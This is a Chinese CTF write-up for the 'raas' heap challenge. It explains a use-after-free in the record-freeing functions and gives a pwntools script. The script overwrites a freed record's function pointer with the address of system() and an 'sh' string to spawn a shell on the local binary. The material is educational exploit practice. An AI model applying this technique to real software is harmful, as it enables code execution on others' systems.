hint:This is a Record-as-a-Service!And also our fist heap-based challenge.
Tips: use after free
同时题目连源代码都给了
很明显这是一个UAF漏洞的利用
防护机制:
checksec题目的数据结构:
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};
题目用来free的函数
void rec_int_free(struct record *rec)
{
free(rec);
puts("Record freed!");
}
void rec_str_free(struct record *rec)
{
free(rec->string);
free(rec);
puts("Record freed!");
}
void do_dump()
{
int idx = ask("Index");
records[idx]->print(records[idx]);
}
因为它free后没有将堆块中的指针清零,同时也没将数组的内容清空,所以这里存在UAF漏洞,这堆块在free掉后还可以使用
生成两个int的record,查看下堆的情况
createint(0,"123") /*假设分配的堆块为p1*/
createint(1,"123") /*假设分配的堆块为p2*/
heapinfo
画个直观图就是下面这样:
image.png将这两个record free掉后,堆的情况
image.png可以看见int类型的record的大小为0x10,chunk_size后面存放了free函数的指针和print函数的指针
它们free掉后,根据它们的大小,它们被分到fastbin,根据fastbin的分配规则,后free的chunk块会被先分配。如果这个时候create一个字符型的record[2],控制字符串大小小于16,那么会将p2分配给record[2],将p1分配给字符串。
createstr(2,12,"aaaabbbb")
堆的情况:
image.png可以看到此时p1上的指针已经被"aaaabbbb"给覆盖了
如果将p1的free函数的指针覆盖成system函数,字符串以"sh\x00\x00"开头,再调用do_delete(0),就可以控制程序执行system函数,最终获取shell
解题思路:
- 先create 两个int的record,然后delete掉它们
- 然后生成一个字符型的record,字符串的大小为12,以"sh\x00\x00"开头
- 调用do_delete(0)
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"
p = process('./raas')
system = 0x080484F0
def createint(index,content):
p.recvuntil(">")
p.sendline(str(1))
p.recvuntil(">")
p.sendline(str(index))
p.recvuntil(">")
p.sendline("1")
p.recvuntil(">")
p.sendline(content)
def createstr(index,size,content):
p.recvuntil(">")
p.sendline(str(1))
p.recvuntil(">")
p.sendline(str(index))
p.recvuntil(">")
p.sendline("2")
p.recvuntil(">")
p.sendline(str(size))
p.recvuntil(">")
p.sendline(content)
def delete(index):
p.recvuntil(">")
p.sendline(str(2))
p.recvuntil(">")
p.sendline(str(index))
createint(0,"123")
createint(1,"456")
delete(0)
delete(1)
payload = "sh\x00\x00" + p32(system)
createstr(2,12,payload)
delete(0)
gdb.attach(p)
pause()
p.interactive()
网友评论